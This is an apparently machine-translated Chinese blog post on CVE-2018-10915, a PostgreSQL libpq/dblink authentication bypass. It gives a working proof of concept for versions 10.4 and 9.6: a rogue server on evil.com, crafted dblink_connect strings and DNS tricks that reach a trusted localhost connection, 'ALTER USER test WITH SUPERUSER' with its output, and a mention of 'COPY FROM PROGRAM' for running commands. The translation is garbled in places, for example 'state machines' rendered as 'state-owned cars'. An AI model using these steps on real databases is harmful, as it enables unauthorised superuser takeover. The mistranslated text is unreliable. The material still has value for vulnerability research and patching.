
国有汽车在我们中间已经不是什么秘密了。 从UI到网络堆栈,它们几乎无处不在。 有时复杂,有时简单。 有时与安全相关,有时不是很相关。 但是,通常,研究起来很有趣:)今天,我想谈一谈PostgreSQL的一个有趣案例-CVE-2018-10915 ,该案例允许增加对超级用户的特权。
小介绍
如您所知,托管数据库在世界范围内发展。 毫不奇怪-如果您有一个简单但要求不高的应用程序,那么为什么要诅咒自己的基础呢? 确实,对于大多数云(或专业)提供商而言,您可以获得自己的MySQL / PostgreSQL / MongoDB / etc数据库,并从此过上幸福的生活。 当然,这会引起其他问题,因为 如果以前为了利用数据库中的大多数安全问题,您必须先获得该应用程序(在大多数情况下,它本身就是游戏的终结),现在 裸露的屁股 他们的界面对攻击者有利。 应该指出一个事实,下一个障碍应该是高质量的基础架构,这是事实,但今天并非如此。
CVE-2018-10915的本质
- 在大多数情况下,PostgreSQL不需要本地连接的身份验证。 来自官方docker镜像的示例:
# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
- 由于有了dblink和postgres_fdw扩展,您可以连接到远程数据库。 根据论坛的判断,经常会询问消费者是否有空;)
- 作者已经被特权升级所烧死,因此他们进行了黑客攻击,禁止未经身份验证的连接:
- 从服务器收到
AUTH_REQ_MD5
或AUTH_REQ_PASSWORD
消息后,状态机将设置password_needed
标志 libpq
可以绕过多个IP(pg 9.x)或主机(pg 10.x / 11.x)寻找合适的主机- 在两种方便的情况下,状态机在设置
password_needed
标志后将移至下一个IP /主机:
- 我们需要一个可写的会话(
target_session_attrs=read-write
),并且服务器是只读的 - 收到
unknown application_name
错误后
- 移至下一个IP /主机时,将调用pqDropConnection ,它会非常有选择地清除连接数据(因为重新连接可能需要其中的一些数据)。 提示:
password_needed
不重置 - 这允许绕过dblink_security_check检查,因为 连接到下一个主机时,该标志将保留先前的值
- 获利
因此,如果我们有任何可以访问此主机的dblink
和PostgreSQL且具有受信任连接的用户,我们可以使用密码绕过身份验证要求,代表postgres
主管进行连接,并代表其执行任何操作(例如,使用COPY foo FROM PROGRAM 'whoami';
)。
从理论到实践-PostgreSQL 10.4!
但是您不会仅受一个理论的困扰,因此我准备了一个利用此漏洞的小例子。 我们将从PostgreSQL 10.4开始。
- 首先,编写并运行一个简单的PostgreSQL服务器( bogus-pgsrv ),该服务器将要求对任何请求进行密码身份验证,并在收到请求后发送错误
ERRCODE_APPNAME_UNKNOWN
:
$ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432?
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL
$ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test
$ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser
从理论到实践-PostgreSQL 9.6!
使用PostgreSQL 9.x,事情要复杂一些,因为 它不支持枚举要连接的主机列表。 但是,如果地址解析为多个IP,它将绕开它们! 由于 IPv6地址具有优先级(请参阅RFC6724 ),我们可以通过发送ERRCODE_APPNAME_UNKNOWN
几秒钟来回答AAAA请求中的IP,以及将127.0.0.1到A +断开连接几秒钟来做同样的事情:
$ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba
- 运行相同的伪pgsql
- 并再次准备测试PostgreSQL(IPv6应该适用于docker,这很重要):
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL
$ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {}
结论
我想通过写一些聪明的东西作为总结,但是,不幸的是,我没有一种好的,简单的通用方法来检查状态机是否一切正常。 有各种各样的尝试,但是从我看来,它们要么过于专业化,要么仍然能够应对逻辑错误。 仍然希望保持警惕,并对审查有更多的关注:(